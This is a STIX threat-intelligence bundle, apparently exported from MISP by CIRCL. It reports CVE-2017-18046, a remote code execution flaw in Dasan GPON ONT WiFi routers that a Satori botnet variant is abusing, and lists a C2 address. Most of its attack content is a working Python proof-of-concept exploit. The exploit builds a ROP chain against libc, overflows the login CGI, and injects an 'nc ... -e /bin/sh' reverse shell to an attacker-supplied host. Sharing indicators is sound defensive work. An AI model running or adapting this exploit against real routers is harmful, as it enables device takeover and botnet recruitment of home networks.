{
    "type": "bundle",
    "id": "bundle--5a8042be-fe8c-4071-a140-414502de0b81",
    "objects": [
        {
            "type": "identity",
            "spec_version": "2.1",
            "id": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-12T03:00:18.000Z",
            "modified": "2018-02-12T03:00:18.000Z",
            "name": "CIRCL",
            "identity_class": "organization"
        },
        {
            "type": "report",
            "spec_version": "2.1",
            "id": "report--5a8042be-fe8c-4071-a140-414502de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-12T03:00:18.000Z",
            "modified": "2018-02-12T03:00:18.000Z",
            "name": "OSINT - Dasan Unauthenticated Remote Code Execution - and ongoing abuse",
            "published": "2018-02-16T09:06:45Z",
            "object_refs": [
                "observed-data--5a8042cb-c228-4acf-b07c-0f8502de0b81",
                "url--5a8042cb-c228-4acf-b07c-0f8502de0b81",
                "x-misp-attribute--5a8042da-7704-45d1-bbf8-e31802de0b81",
                "x-misp-attribute--5a804312-adb0-417c-a89f-e30302de0b81",
                "vulnerability--5a804331-b9bc-4a13-858b-43dd02de0b81",
                "indicator--5a804355-8cb0-415c-ade6-a4c602de0b81",
                "x-misp-object--5a8043e4-7688-48d5-b395-e35002de0b81"
            ],
            "labels": [
                "Threat-Report",
                "misp:tool=\"MISP-STIX-Converter\"",
                "misp-galaxy:tool=\"Mirai\"",
                "misp-galaxy:tool=\"Satori\""
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "observed-data",
            "spec_version": "2.1",
            "id": "observed-data--5a8042cb-c228-4acf-b07c-0f8502de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-11T13:19:07.000Z",
            "modified": "2018-02-11T13:19:07.000Z",
            "first_observed": "2018-02-11T13:19:07Z",
            "last_observed": "2018-02-11T13:19:07Z",
            "number_observed": 1,
            "object_refs": [
                "url--5a8042cb-c228-4acf-b07c-0f8502de0b81"
            ],
            "labels": [
                "misp:type=\"link\"",
                "misp:category=\"External analysis\""
            ]
        },
        {
            "type": "url",
            "spec_version": "2.1",
            "id": "url--5a8042cb-c228-4acf-b07c-0f8502de0b81",
            "value": "https://blogs.securiteam.com/index.php/archives/3552"
        },
        {
            "type": "x-misp-attribute",
            "spec_version": "2.1",
            "id": "x-misp-attribute--5a8042da-7704-45d1-bbf8-e31802de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-11T13:19:22.000Z",
            "modified": "2018-02-11T13:19:22.000Z",
            "labels": [
                "misp:type=\"text\"",
                "misp:category=\"External analysis\""
            ],
            "x_misp_category": "External analysis",
            "x_misp_type": "text",
            "x_misp_value": "The following advisory describes a buffer overflow that leads to remote code execution found in Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146\r\n\r\nDasan Networks GPON ONT WiFi Router \u00e2\u20ac\u0153is indoor type ONT dedicated for FTTH (Fibre to the Home) or FTTP (Fiber to the Premises) deployments. That can work as simple Bridge or behave as Router/NAT. It\u00e2\u20ac\u2122s cost-effective CPE that meets carrier-class requirement for Telcom industry and guarantee reliable service proven in the field.\u00e2\u20ac\u009d"
        },
        {
            "type": "x-misp-attribute",
            "spec_version": "2.1",
            "id": "x-misp-attribute--5a804312-adb0-417c-a89f-e30302de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-11T13:20:18.000Z",
            "modified": "2018-02-11T13:20:18.000Z",
            "labels": [
                "misp:type=\"text\"",
                "misp:category=\"Support Tool\""
            ],
            "x_misp_category": "Support Tool",
            "x_misp_comment": "Proof of Concept",
            "x_misp_type": "text",
            "x_misp_value": "import sys\r\nimport socket\r\nimport json\r\nimport time\r\nimport struct\r\nimport ssl\r\n\r\nif len(sys.argv) != 4:\r\n    print \"Use: {} ip port connectback\".format(sys.argv[0])\r\n    sys.exit(1)\r\n\r\nhost = str(sys.argv[1])\r\nport = int(sys.argv[2])\r\n\r\nconnectback = str(sys.argv[3])\r\n\r\nbuf = 1024\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n#sock.settimeout(10)\r\n\r\nclientsocket = ssl.wrap_socket(sock)\r\n#clientsocket = sock\r\nclientsocket.connect((host, port))\r\n\r\naddr_libc = 0x2ad0c000 # 0x2ad0e000 with H640DW\r\n\r\n# rop1\r\nrop1 = addr_libc + 0x00115d40       #addiu $a0,$sp,0x18 |  jalr  $s0\r\naddr_rop1 = struct.pack(\">i\",rop1)\r\n#rop2\r\nsystem = addr_libc + 0x0003CC9C     #system\r\naddr_system =  struct.pack(\">i\",system)\r\n\r\n# execute command\r\ncommand = \"nc \" + connectback + \" -e /bin/sh;\"\r\n\r\npayload = \"A\"*(756 - 0x28) + addr_system + 'C'*(0x28-8) + addr_rop1 + ';'*24 + command\r\n\r\ndata = \"action={}&txtUserId=a&button=Login&txtPassword=a&sle_Language=english\\r\\n\".format(payload)\r\n\r\nhttp_payload = \"\"\"POST /cgi-bin/login_action.cgi HTTP/1.1\\r\\nHost: 192.168.1.100:8080\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate\\r\\nReferer: https://192.168.1.100:8080/cgi-bin/login.cgi\\r\\nConnection: keep-alive\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: {}\\r\\n\\r\\n{}\"\"\".format(len(data),data)\r\n\r\nprint http_payload\r\n\r\nclientsocket.send(http_payload)\r\n\r\nrespond_raw = clientsocket.recv(buf).strip()\r\n\r\nprint respond_raw\r\n\r\nrespond_raw = clientsocket.recv(buf).strip()\r\n\r\nprint respond_raw\r\nrespond_raw = clientsocket.recv(buf).strip()\r\n\r\nprint respond_raw\r\n\r\nclientsocket.close()"
        },
        {
            "type": "vulnerability",
            "spec_version": "2.1",
            "id": "vulnerability--5a804331-b9bc-4a13-858b-43dd02de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-11T13:20:49.000Z",
            "modified": "2018-02-11T13:20:49.000Z",
            "name": "CVE-2017-18046",
            "labels": [
                "misp:type=\"vulnerability\"",
                "misp:category=\"Payload delivery\""
            ],
            "external_references": [
                {
                    "source_name": "cve",
                    "external_id": "CVE-2017-18046"
                }
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--5a804355-8cb0-415c-ade6-a4c602de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-11T13:21:25.000Z",
            "modified": "2018-02-11T13:21:25.000Z",
            "description": "C2 (download of the first stage)",
            "pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '185.62.188.88']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "valid_from": "2018-02-11T13:21:25Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "misp-category",
                    "phase_name": "Network activity"
                }
            ],
            "labels": [
                "misp:type=\"ip-dst\"",
                "misp:category=\"Network activity\"",
                "misp:to_ids=\"True\""
            ]
        },
        {
            "type": "x-misp-object",
            "spec_version": "2.1",
            "id": "x-misp-object--5a8043e4-7688-48d5-b395-e35002de0b81",
            "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
            "created": "2018-02-11T13:23:48.000Z",
            "modified": "2018-02-11T13:23:48.000Z",
            "labels": [
                "misp:name=\"microblog\"",
                "misp:meta-category=\"misc\""
            ],
            "x_misp_attributes": [
                {
                    "type": "text",
                    "object_relation": "post",
                    "value": "So a brand new satori variant is causing port 8080 spike, it is looking for this new vulnerability https://blogs.securiteam.com/index.php/archives/3552 \u00e2\u20ac\u00a6 (CVE-2017-18046) , device affected \"Dasan GPON ONT WiFi Router\", new C2 is 185.62.188.88",
                    "category": "Other",
                    "uuid": "5a8043e4-51a4-42d0-9fdb-e35002de0b81"
                },
                {
                    "type": "text",
                    "object_relation": "type",
                    "value": "Twitter",
                    "category": "Other",
                    "uuid": "5a8043e5-3870-4e29-8efa-e35002de0b81"
                },
                {
                    "type": "url",
                    "object_relation": "url",
                    "value": "https://twitter.com/360Netlab/status/962521516352077824",
                    "category": "External analysis",
                    "to_ids": true,
                    "uuid": "5a8043e5-5690-4742-84ca-e35002de0b81"
                }
            ],
            "x_misp_meta_category": "misc",
            "x_misp_name": "microblog"
        },
        {
            "type": "marking-definition",
            "spec_version": "2.1",
            "id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9",
            "created": "2017-01-20T00:00:00.000Z",
            "definition_type": "tlp",
            "name": "TLP:WHITE",
            "definition": {
                "tlp": "white"
            }
        }
    ]
}